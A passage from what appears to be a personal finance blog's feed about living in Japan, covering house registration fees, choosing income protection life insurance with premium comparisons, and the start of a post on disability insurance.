      &lt;td&gt;¥107,100&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;I got the detailed breakdown for each of these, so I will share those next.&lt;/p&gt;

&lt;h2 id=&quot;design-application-and-filing-services&quot;&gt;Design application and filing services&lt;/h2&gt;

&lt;p&gt;This included some permit applications that might be specific to our land for an overall cost of &lt;strong&gt;¥154,300&lt;/strong&gt;, so it might be less for others.&lt;/p&gt;

&lt;h2 id=&quot;construction-cost-rounding&quot;&gt;Construction cost rounding&lt;/h2&gt;

&lt;p&gt;This was a bit surprising, but makes sense. The &lt;a href=&quot;/2025/05/04/cost-of-our-ichijo-house/&quot;&gt;cost of the house came down to 35,605,326 yen&lt;/a&gt; so it makes sense that they didn’t want to worry about the change when handling the bridge loan.&lt;/p&gt;

&lt;h2 id=&quot;bridge-loan-interest-and-stamp-duty&quot;&gt;Bridge loan interest and stamp duty&lt;/h2&gt;

&lt;p&gt;I &lt;a href=&quot;/2025/10/05/bridge-loan/&quot;&gt;already covered this in a dedicated post&lt;/a&gt;, the numbers match.&lt;/p&gt;

&lt;h2 id=&quot;property-registration&quot;&gt;Property registration&lt;/h2&gt;

&lt;p&gt;This is similar to what had to be done &lt;a href=&quot;/2025/04/13/buying-a-land/#closing-on-the-land&quot;&gt;when we bought the land&lt;/a&gt;: a scrivener went to the Legal Affairs Bureau (法務局) to update the real estate registry (不動産登記簿上) to include the house and the mortgage.&lt;/p&gt;

&lt;p&gt;They provided a breakdown of the expense. Some of the money went to Legal Affairs Bureau to pay registration fees and taxes, and they listed those separately in the invoice.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Charge&lt;/th&gt;
      &lt;th&gt;Charge (JP)&lt;/th&gt;
      &lt;th&gt;Fee (incl 10% VAT)&lt;/th&gt;
      &lt;th&gt;Registration fee/tax&lt;/th&gt;
      &lt;th&gt;Total&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Application procedure / Building title registration&lt;/td&gt;
      &lt;td&gt;申請手続/建物表題登記&lt;/td&gt;
      &lt;td&gt;¥96,800&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;¥96,800&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Registration stamp duty&lt;/td&gt;
      &lt;td&gt;登録印紙代&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;¥2,200&lt;/td&gt;
      &lt;td&gt;2200&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Ownership preservation registration&lt;/td&gt;
      &lt;td&gt;所有権保存登記&lt;/td&gt;
      &lt;td&gt;¥27,500&lt;/td&gt;
      &lt;td&gt;¥10,000&lt;/td&gt;
      &lt;td&gt;¥37,500&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Change of registered owner name/details&lt;/td&gt;
      &lt;td&gt;所有権登記名義人表示変更登記&lt;/td&gt;
      &lt;td&gt;¥11,000&lt;/td&gt;
      &lt;td&gt;¥2,000&lt;/td&gt;
      &lt;td&gt;¥13,000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Additional mortgage registration&lt;/td&gt;
      &lt;td&gt;抵当権追加設定登記&lt;/td&gt;
      &lt;td&gt;¥38,500&lt;/td&gt;
      &lt;td&gt;¥1,500&lt;/td&gt;
      &lt;td&gt;¥40,000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Mortgage registration&lt;/td&gt;
      &lt;td&gt;抵当権設定登記&lt;/td&gt;
      &lt;td&gt;¥38,500&lt;/td&gt;
      &lt;td&gt;¥40,800&lt;/td&gt;
      &lt;td&gt;¥79,300&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Advance review of registry records&lt;/td&gt;
      &lt;td&gt;登記簿謄本事前閲覧&lt;/td&gt;
      &lt;td&gt;¥1,650&lt;/td&gt;
      &lt;td&gt;¥1,500&lt;/td&gt;
      &lt;td&gt;¥3,150&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Certified copy of registry matters&lt;/td&gt;
      &lt;td&gt;登記事項証明書&lt;/td&gt;
      &lt;td&gt;¥2,200&lt;/td&gt;
      &lt;td&gt;¥2,000&lt;/td&gt;
      &lt;td&gt;¥4,200&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Residential house certificate&lt;/td&gt;
      &lt;td&gt;住宅用家屋証明書&lt;/td&gt;
      &lt;td&gt;¥6,600&lt;/td&gt;
      &lt;td&gt;¥1,300&lt;/td&gt;
      &lt;td&gt;¥7,900&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Transportation and communication expenses&lt;/td&gt;
      &lt;td&gt;交通通信費&lt;/td&gt;
      &lt;td&gt;¥5,950&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;¥5,950&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Total&lt;/td&gt;
      &lt;td&gt;合計&lt;/td&gt;
      &lt;td&gt;¥228,700&lt;/td&gt;
      &lt;td&gt;¥61,300&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;¥290,000&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;I didn’t get to choose the scrivener company (and wasn’t even asked if this was okay), the builder and banks simply went with them. I also only learned about the price after the fact. Looking at &lt;a href=&quot;https://mailmate.jp/blog/judicial-scrivene#How%20much%20do%20judicial%20scriveners%20charge,%20and%20what%20affects%20fees?&quot;&gt;this recent article&lt;/a&gt; it seems this was on the expensive side. So next time I would ask the builder proactively ahead of time, get a quote from their recommended company, then get some competing quotes to see if I can save a bit.&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;That’s pretty much it, these were the incidental charges that came up during construction. Other than &lt;a href=&quot;/2025/11/02/delay-in-the-mortgage/&quot;&gt;hoping that your mortgage doesn’t get delayed&lt;/a&gt;(which increased the bridge loan interest) and maybe getting another quote for the registration paperwork I don’t think there is anything to do about these.&lt;/p&gt;

&lt;p&gt;We are still finishing up the exterior construction of the house and once that’s complete I will do a full summary of the entire cost of our home. Stay tuned.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Choosing my life insurance - part 1</title>
   <link href="https://szabo.jp/2026/01/09/choosing-my-life-insurance-part1/"/>
   <updated>2026-01-09T00:00:00+00:00</updated>
   <id>https://szabo.jp/2026/01/09/choosing-my-life-insurance-part1</id>
   <content type="html">&lt;p&gt;I &lt;a href=&quot;/2023/11/23/a-look-at-life-insurance-in-japan/&quot;&gt;wrote about the types of life insurance a while back&lt;/a&gt; and recently decided to sign up for one. In this post I will share my process of choosing it. Well, the first half of it, because in the end I couldn’t completed the sign-up online.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;type-of-insurance-income-protection-insurance-収入保障保険&quot;&gt;Type of insurance: Income Protection Insurance (収入保障保険)&lt;/h2&gt;

&lt;p&gt;I &lt;a href=&quot;/2023/11/23/a-look-at-life-insurance-in-japan/&quot;&gt;reviewed the types of life insurances earlier&lt;/a&gt; and found this to be the best match for my needs: it is a term life insurance that pays out monthly payments until the end of the term. So essentially: I pay a monthly fee from now until I turn 60, and in exchange if I die within this time period, then my family gets a monthly payment every month until I would be 60. Compared to regular term life insurance (with a lump sum payment) this is a decreasing coverage: if I die late, then it pays much less than if I die early. However this matches the needs of my family better, and it keeps the premiums reasonable (since the chance of me dying early is far lower than when I’m near 60).&lt;/p&gt;

&lt;p&gt;Moreover I really like that it is easy to manage for my family: getting a lump sum and trying to live off of it can be stressful (how do you invest it, how much do you spend, what if markets go down or yen gets stronger), especially in an already very stressful time. Simply getting monthly payments alleviates this problem.&lt;/p&gt;

&lt;p&gt;I also &lt;a href=&quot;/2026/01/05/disability-insurance/&quot;&gt;looked into disability insurance but decided not to get one&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;taxes-on-life-insurance&quot;&gt;Taxes on life insurance&lt;/h2&gt;

&lt;p&gt;I &lt;a href=&quot;/2025/10/30/tax-on-life-insurance-payouts/&quot;&gt;covered it in a previous post&lt;/a&gt;, but TLDR: as long I pay for my life insurance and my family gets it, then it is taxed as inheritance. For income protection insurance (since it’s an annuity) they calculate the present value, tax that as inheritance then treat it sort of like an investment: part of the payouts are principal (tax-free at payout) part is interest (taxed as miscellaneous  income).&lt;/p&gt;

&lt;p&gt;The inheritance part of this can be an issue: the heirs might be on the hook for inheritance tax on the future payments, but not have the money at hand. Unless someone has a lot of illiquid assets (e.g. real estate), I don’t think this would be a problem: for example with a 200,000 yen per month annuity, even if it pays out for the 28 years, the sum of all payouts would be 67.2 million yen (6,720万円). Only part of this would be in scope for inheritance, but even the full amount would be &lt;a href=&quot;https://wiki.japanfinance.org/tax/inheritance/#:~:text=Surviving%20spouses%20have%20large%20tax%20credit.%20Basically%20you%20find%20out%20how%20much%20inheritance%20tax%20the%20spouse%20is%20theoretically%20supposed%20to%20pay%2C%20and%20then%20you%20reduce%20that%20bill%20to%20the%20extent%20that%20it%20corresponds%20to%20an%20inheritance%20valued%20at%20less%20than%20160%20million%20yen%20(or%2050%25%20of%20the%20estate%2C%20whichever%20is%20larger)&quot;&gt;less than the spousal 160 million yen tax credit&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;sizing&quot;&gt;Sizing&lt;/h2&gt;

&lt;p&gt;So how much insurance to get? More feels better, but it’s important to keep in mind that insurance is a negative sum game (on average you will pay more than the benefits you receive - otherwise the insurance companies would go bankrupt), so it is best to limit the insurance to the catastrophic events, and invest the extra premiums that this saves.&lt;/p&gt;

&lt;p&gt;Deciding the amount of insurance has an issue: both the premiums and the payouts are fixed in nominal terms and don’t take inflation into account. So e.g. if I conclude that my family would need 200,000 yen per month today, then in 20 years from now the same need would be appr. 300,000 yen (assuming a 2% inflation which is the &lt;a href=&quot;https://www.boj.or.jp/en/mopo/outline/target.htm&quot;&gt;target of BOJ&lt;/a&gt;). Thus a bit of oversizing is a good idea.&lt;/p&gt;

&lt;p&gt;With this in mind I decided to get a coverage for 300,000 yen per month.&lt;/p&gt;

&lt;h2 id=&quot;term&quot;&gt;Term&lt;/h2&gt;

&lt;p&gt;I decided to get the insurance until I turn 60. By that time all of my kids will be in their mid-late twenties and should be independent. I could have pushed it to 65, but that last 5 years are more risky, making the premiums higher, while I don’t have a strong need for insurance during that period.&lt;/p&gt;

&lt;h2 id=&quot;guaranteed-minimum-payment-period-最低支払保証期間&quot;&gt;Guaranteed Minimum Payment Period (最低支払保証期間)&lt;/h2&gt;

&lt;p&gt;Another option to choose is the Guaranteed Minimum Payment Period (最低支払保証期間): if someone dies towards the very end of their term, the heirs would receive only a few months of coverage. To avoid this, most income protection insurance offers 1, 2, 5, or 10 year minimum payment period options, so even if there is less than that left from the term, it will still pay out for that long. I don’t think this is needed: if I die right before 60, I should have enough saved for retirement to make this life insurance unnecessary, so I will choose one of the lowest available option (if 1 and 2 years have the same premium, I might go with 2).&lt;/p&gt;

&lt;h2 id=&quot;choosing-the-company&quot;&gt;Choosing the company&lt;/h2&gt;

&lt;p&gt;My favorite comparison website, kakaku.com has a &lt;a href=&quot;https://hoken.kakaku.com/gla/dc/hikaku/s=1/321/?la_MonthlyBenefits=15_4&amp;amp;la_Discount=3&quot;&gt;comparison page for income protection insurance&lt;/a&gt;. However many companies are missing, so I also did some Google search and asked ChatGPT.&lt;/p&gt;

&lt;p&gt;Most companies require an in-person or phone interview before sining up for an insurance. I found only 3 that allows online sign-ups and offer income protection insurance:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://hoken.kakaku.com/company/company.asp?CompanyID=117&quot;&gt;FWD Life (FWD生命)&lt;/a&gt; - part of the Hong Kong-based FWD Group&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hoken.kakaku.com/company/company.asp?CompanyID=104&quot;&gt;Orix (オリックス生命)&lt;/a&gt; - part of the Japanese ORIX Group&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hoken.kakaku.com/company/company.asp?CompanyID=135&quot;&gt;Hanasaku Life (はなさく生命)&lt;/a&gt; - owned by 日本生命保険相互会社 (Nippon Life Insurance Co.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Orix would only offer up to 150,000 yen per month payout, so they were out.&lt;/p&gt;

&lt;p&gt;FWD Life offered it for a monthly premium of 3,946 yen.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-01-09-choosing-my-life-insurance-part1/fwd_quote.png#lb&quot; alt=&quot;FWD quote&quot; /&gt;&lt;/p&gt;

&lt;p&gt;while Hanasaku Life offered it for a premium of 4,755 yen.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-01-09-choosing-my-life-insurance-part1/hanasaku_quote.png#lb&quot; alt=&quot;Hanasaku quote&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I was initially a bit concerned that FWD is owned by a Hong Kong-based entity, so if the Japan-China relationship deteriorates further, then it could be affected, but the insurance is offered by the Japanese subsidiary and thus regulated by the Japanese laws, so should be fine.&lt;/p&gt;

&lt;p&gt;Meanwhile Hanasaku has a website that looks a bit like a nursery’s website and the footer says &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Copyright © 2021 Hanasaku Life Insurance Co.&lt;/code&gt; which doesn’t exactly instill confidence.&lt;/p&gt;

&lt;p&gt;FWD is meaningfully cheaper too, so I decided to go with FWD.&lt;/p&gt;

&lt;h2 id=&quot;fine-tuning-the-options-for-fun&quot;&gt;Fine-tuning the options for fun&lt;/h2&gt;

&lt;p&gt;I already decided my coverage, but just for fun I checked a few combinations:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Parameters&lt;/th&gt;
      &lt;th&gt;Monthly premium&lt;/th&gt;
      &lt;th&gt;Premium diff&lt;/th&gt;
      &lt;th&gt;Premium diff %&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Base-case: 300,000 yen payout, until 60, 2 year guaranteed, healthy discount, non-smoker discount, no options&lt;/td&gt;
      &lt;td&gt;¥3,946&lt;/td&gt;
      &lt;td&gt;¥0&lt;/td&gt;
      &lt;td&gt;0%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Half payout: 150,000 yen&lt;/td&gt;
      &lt;td&gt;¥2,024&lt;/td&gt;
      &lt;td&gt;-¥1,922&lt;/td&gt;
      &lt;td&gt;-49%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Going until 65 (5 extra years)&lt;/td&gt;
      &lt;td&gt;¥5,174&lt;/td&gt;
      &lt;td&gt;¥1,228&lt;/td&gt;
      &lt;td&gt;31%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Going until 70 (10 extra years)&lt;/td&gt;
      &lt;td&gt;¥6,780&lt;/td&gt;
      &lt;td&gt;¥2,834&lt;/td&gt;
      &lt;td&gt;72%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Going until 80 (20 extra years, the maximum offered)&lt;/td&gt;
      &lt;td&gt;¥11,508&lt;/td&gt;
      &lt;td&gt;¥7,562&lt;/td&gt;
      &lt;td&gt;192%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Guaranteed 5 year payout&lt;/td&gt;
      &lt;td&gt;¥4,111&lt;/td&gt;
      &lt;td&gt;¥165&lt;/td&gt;
      &lt;td&gt;4%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Guaranteed 10 year payout&lt;/td&gt;
      &lt;td&gt;¥4,634&lt;/td&gt;
      &lt;td&gt;¥688&lt;/td&gt;
      &lt;td&gt;17%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Non-healthy body (BMI outside 18-27 or blood pressure over 140/90)&lt;/td&gt;
      &lt;td&gt;¥6,985&lt;/td&gt;
      &lt;td&gt;¥3,039&lt;/td&gt;
      &lt;td&gt;77%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Smoking&lt;/td&gt;
      &lt;td&gt;¥5,601&lt;/td&gt;
      &lt;td&gt;¥1,655&lt;/td&gt;
      &lt;td&gt;42%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Smoking and unhealthy body&lt;/td&gt;
      &lt;td&gt;¥9,164&lt;/td&gt;
      &lt;td&gt;¥5,218&lt;/td&gt;
      &lt;td&gt;132%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Being a woman&lt;/td&gt;
      &lt;td&gt;¥3,581&lt;/td&gt;
      &lt;td&gt;-¥365&lt;/td&gt;
      &lt;td&gt;-9%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Add-on for disability insurance (生活支援特則): it will start paying the annuity if the insured becomes disabled or require nursing care&lt;/td&gt;
      &lt;td&gt;¥8,447&lt;/td&gt;
      &lt;td&gt;¥4,501&lt;/td&gt;
      &lt;td&gt;114%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Add-on for 3-major illness premium exemption (3大疾病保険料込免除特約): if diagnosed with cancer, heart disase, or stroke, you don’t have to pay for the insurance going forward&lt;/td&gt;
      &lt;td&gt;¥4,184&lt;/td&gt;
      &lt;td&gt;¥238&lt;/td&gt;
      &lt;td&gt;6%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Add-on for Spouse Simultaneous Accidental Death Increase Rider (配偶者同時災害死亡時割増特則)&lt;/td&gt;
      &lt;td&gt;¥3,946&lt;/td&gt;
      &lt;td&gt;¥0&lt;/td&gt;
      &lt;td&gt;0%&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;No big surprises here. Some options feel pretty cheap, e.g. increasing the minimum payout period, but those extra costs still add up, so if I don’t need it, I won’t get it.&lt;/p&gt;

&lt;p&gt;Add-on for Spouse Simultaneous Accidental Death Increase Rider (配偶者同時災害死亡時割増特則) is different: this is for free, and it doubles the payout if both me and my spouse dies in the same accident (disease is excluded, only accident). The chance of this is super low (and that’s why it’s free), but since it’s free I decided to add it.&lt;/p&gt;

&lt;h2 id=&quot;online-sign-up-failed&quot;&gt;Online sign-up: failed&lt;/h2&gt;

&lt;p&gt;I continued with FWD to do the online sign-up. The form had a bunch of questions, one of them being:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;以下の臓器や検査の異常を指摘されたことがありますか。（要再検査・要精密検査・要治療を含みます。なお、再検査等の結果で異常がなかった場合も含みます。） ■心臓　■肺　■胃腸　■肝臓　■腎臓　■すい臓　■胆のう　■子宮　■乳房　■診察　■血圧測定　■尿検査　■血液検査　■肝炎ウイルス検査　■便潜血検査　■眼底検査　■胸部レントゲン検査　■上部消化管レントゲン検査　■内視鏡検査　■細胞診　■組織診　■認知機能検査　■腹部超音波検査　■CT検査　■MRI検査　■PET検診　■しゅようマーカー（CEA・AFP・CA19-9・PSA等）&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;which translates to&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Have you ever been told that there are any abnormalities in the following organs or tests? (This includes cases where re-examination, detailed examination, or treatment is required. It also includes cases where no abnormalities are found in the results of re-examination, etc.) ■ Heart ■ Lungs ■ Gastrointestinal system ■ Liver ■ Kidneys ■ Pancreas ■ Gallbladder ■ Uterus ■ Breasts ■ Physical examination ■ Blood pressure ■ Urine test ■ Blood test ■ Hepatitis virus test ■ Fecal occult blood test ■ Fundus examination ■ Chest X-ray ■ Upper gastrointestinal X-ray ■ Endoscopy ■ Cytology ■ Histology ■ Cognitive function test ■ Abdominal ultrasound ■ CT scan ■ MRI scan ■ PET screening ■ Tumor markers (CEA, AFP, CA19-9, PSA, etc.)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Unfortunately I have to answer &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yes&lt;/code&gt; to this. Every year when I do the company health check I get a B grade for my heart as my resting heart beat is too low (&lt;a href=&quot;https://my.clevelandclinic.org/health/diseases/17841-bradycardia&quot;&gt;bradycardia&lt;/a&gt;). I went to cardiologist to look into this, and the conclusion was that I have &lt;a href=&quot;https://my.clevelandclinic.org/health/diseases/23920-athletes-heart&quot;&gt;Athlete’s Heart&lt;/a&gt;: I have been running and &lt;a href=&quot;/2025/11/14/cycling-all-around-japan/&quot;&gt;cycling a lot&lt;/a&gt;, so when I’m sitting at the clinic (especially after I had to skip my breakfast and coffee), my heart beat is below the normal range. With my background this is expected and not something to worry about, but it still results in a B grade which translates to “minor abnormalities, no need for concern”.&lt;/p&gt;

&lt;p&gt;After saying &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yes&lt;/code&gt; to the above question, the site told me to call them as I can’t do the sign-up online, and they want to hear the details of the abnormalities. My Japanese is not good enough to explain this over the phone though, so I will find another option.&lt;/p&gt;

&lt;h2 id=&quot;alternative-1-try-hanasaku&quot;&gt;Alternative 1: try Hanasaku&lt;/h2&gt;

&lt;p&gt;They were more expensive, but otherwise looked good (sans the website design), and their &lt;a href=&quot;https://www.life8739.co.jp/product/direct/help/shunyuhoshou/002&quot;&gt;application flow doesn’t have the same question&lt;/a&gt;. However they also require uploading the health check results, so there is a chance they would have the same question.&lt;/p&gt;

&lt;h2 id=&quot;alternative-2-go-to-an-insurance-broker-in-person&quot;&gt;Alternative 2: go to an insurance broker in person&lt;/h2&gt;

&lt;p&gt;I’m better explaining things in person than on the phone, and it seems that the main way life insurance is sold in Japan is through insurance brokers (which is also why most providers don’t allow online sign-ups). So my plan is to give that a try and see. The biggest risk here is that legally I have to fully understand the contract I’m signing, and if they want to be very strict about that, then they might reject my application. I hope that by doing my homework and going prepared, I can convince them that I understand it as well as their regular customers (who probably also don’t understand every single technical term in it). Or that they are willing to bend the rules, since they are probably paid by commission on closed sales, so as long as I’m not a risk for them, they might decide to be helpful.&lt;/p&gt;

&lt;p&gt;Continue with &lt;a href=&quot;/2026/01/20/choosing-my-life-insurance-part2/&quot;&gt;part 2 here&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Disability insurance in Japan</title>
   <link href="https://szabo.jp/2026/01/05/disability-insurance/"/>
   <updated>2026-01-05T00:00:00+00:00</updated>
   <id>https://szabo.jp/2026/01/05/disability-insurance</id>
   <content type="html">&lt;p&gt;I &lt;a href=&quot;/2023/11/23/a-look-at-life-insurance-in-japan/&quot;&gt;wrote about life insurance a while back&lt;/a&gt; and getting ready to purchase one. When I &lt;a href=&quot;https://www.reddit.com/r/JapanFinance/comments/1q1s5pj/opinions_on_income_protection_insurance_%E5%8F%8E%E5%85%A5%E4%BF%9D%E9%9A%9C%E4%BF%9D%E9%99%BA/&quot;&gt;asked about it at r/JapanFinance&lt;/a&gt;, multiple people recommended also getting disability insurance &lt;a href=&quot;https://www.reddit.com/r/JapanFinance/comments/1q2ug8l/thoughts_on_disability_insurance_%E5%B0%B1%E6%A5%AD%E4%B8%8D%E8%83%BD%E4%BF%9D%E9%99%BA/&quot;&gt;so I started a new thread about that&lt;/a&gt;, took a look into it in detail, and will be sharing what I found here.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;the-reason-for-disability-insurance&quot;&gt;The reason for disability insurance&lt;/h2&gt;

&lt;p&gt;One might get into an accident or fall ill, and become unable to work for an extended period of time. No work generally means no income, which could risk the livelihood of the entire family, if it happens to a breadwinner. The likelihood of this is generally low, but the end result is catastrophic, so it is a perfect case to get insurance for.&lt;/p&gt;

&lt;p&gt;There are three main worries around this:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;being out of work for months while recovering&lt;/li&gt;
  &lt;li&gt;never fully recovering, and living the rest of one’s life with a disability affecting one’s ability to work&lt;/li&gt;
  &lt;li&gt;dying&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;While all seem related, the insurance offerings are different for these three. I &lt;a href=&quot;/2023/11/23/a-look-at-life-insurance-in-japan/&quot;&gt;already covered the various life insurance options&lt;/a&gt;, so this post focuses on the other two.&lt;/p&gt;

&lt;h2 id=&quot;the-ideal-solution&quot;&gt;The ideal solution&lt;/h2&gt;

&lt;p&gt;Most professionals have talent and experience in what they are doing, so their income would be much lower if they need to switch to a different profession. So if one can’t continue doing their current job, it can be a major issue, even if they can perform some other work. Thus ideally you would want to get an insurance that pays out if you are unable to continue doing your current job, however (as I will cover next) this type of coverage is not available in Japan.&lt;/p&gt;

&lt;h2 id=&quot;default-short-term-option-accident-and-sickness-allowance-傷病手当金&quot;&gt;Default short-term option: Accident and sickness allowance (傷病手当金)&lt;/h2&gt;

&lt;p&gt;In Japan, salaried workers can receive this if they are out of work for 4 days or more due to a non-work injury. The amount is 2/3 of your average salary (excluding bonus) of the last year (&lt;a href=&quot;https://www.aids-chushi.or.jp/English/social/04/2.html&quot;&gt;source1&lt;/a&gt;, &lt;a href=&quot;https://www.whi-kenpo.jp/eng/guide_04.jsp&quot;&gt;source2&lt;/a&gt;). It has a cap of 930,000 yen on payout, affecting monthly salaries of over 1.39 million yen (the payout amount is actually based on 標準報酬月額 &lt;a href=&quot;https://www.whi-kenpo.jp/eng/guide_04.jsp?#:~:text=Standard%20monthly%20compensation%20is%20ranked%20at%2050%20levels%2C%20from%20Class%201%20(%C2%A558%2C000)%20to%20Class%2050%20(%C2%A51%2C390%2C000)%2C%20and%20each%20class%20has%20a%20range%20of%20monthly%20compensation.&quot;&gt;which has the cap&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;This can pay up to 18 months.&lt;/p&gt;

&lt;p&gt;The main benefit of this is that it is provided by default to salaried workers. The downside is that this doesn’t apply to freelancers, that the amount is 2/3rd of salary and has a cap, and that it ends after 18 months.&lt;/p&gt;

&lt;h2 id=&quot;default-long-term-option-disability-pension-障害年金&quot;&gt;Default long-term option: Disability pension (障害年金)&lt;/h2&gt;

&lt;p&gt;If one gets disabled permanently, they can start receiving their pension immediately. The &lt;a href=&quot;https://www.nenkin.go.jp/service/jukyu/seido/shougainenkin/ninteikijun/tokyuhyo.html&quot;&gt;criteria is pretty severe and has 3 categories&lt;/a&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;level 1 e.g. missing both hands or both feet&lt;/li&gt;
  &lt;li&gt;level 2 e.g. missing one hand or one leg&lt;/li&gt;
  &lt;li&gt;level 3 e.g. multiple fingers missing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The payout is &lt;a href=&quot;/2025/04/11/pension-in-japan/&quot;&gt;similar to the regular pension which is pretty low&lt;/a&gt;, like 60,000 yen per month for national pension.&lt;/p&gt;

&lt;h2 id=&quot;additional-short-term-option-disability-insurance-就業不能保険&quot;&gt;Additional short-term option: Disability Insurance (就業不能保険)&lt;/h2&gt;

&lt;p&gt;Disability Insurance (就業不能保険) (like &lt;a href=&quot;https://www.sbilife.co.jp/products/disability/index4.html&quot;&gt;this one from SBI&lt;/a&gt;) is targeting to help with the short-term problem: if you are out of work for months, they will pay. The criteria is that your doctor says that you are unable to work. Staying in hospital fulfills this, or being ordered to rest at home too. But e.g. a carpenter with broker legs might get told that they could work as a call center agent remotely, so they don’t qualify. It is up to the insurance company to decide if you qualify, which is a bit concerning for me.&lt;/p&gt;

&lt;p&gt;Also it only starts paying out after being out of work for a set amount of days (支払対象外期間), in the case of SBI for 60 days. &lt;a href=&quot;https://www.mhlw.go.jp/toukei/saikin/hw/kanja/20/dl/heikin.pdf&quot;&gt;On average people leave the hospital after 33 days&lt;/a&gt;, so this means the insurance only pays out for unusually serious cases.&lt;/p&gt;

&lt;p&gt;Overall since there is already the Accident and sickness allowance (傷病手当金), I don’t see a major point for this type of insurance. It is useful for freelancers or other non-salaried workers (as they don’t have the accident and sickness allowance) or people worried about being in hospital for more than 18 months. Even &lt;a href=&quot;https://www.fwdlife.co.jp/blog/protection/do-i-need-disability-insurance/#:~:text=%E5%80%8B%E4%BA%BA%E4%BA%8B%E6%A5%AD%E4%B8%BB%E3%83%BB%E3%83%95%E3%83%AA%E3%83%BC%E3%83%A9%E3%83%B3%E3%82%B9,%E3%81%8C%E3%81%8B%E3%81%8B%E3%82%8B%E6%96%B9&quot;&gt;this insurance company’s website says that they only recommend it to freelancers or people with no savings&lt;/a&gt; (although it seems they don’t offer this type of insurance, so they might be talking against the competition a bit).&lt;/p&gt;

&lt;h2 id=&quot;additional-long-term-option-disability-rider-on-the-life-insurance--income-protection-insurance&quot;&gt;Additional long-term option: disability rider on the life insurance / income protection insurance&lt;/h2&gt;

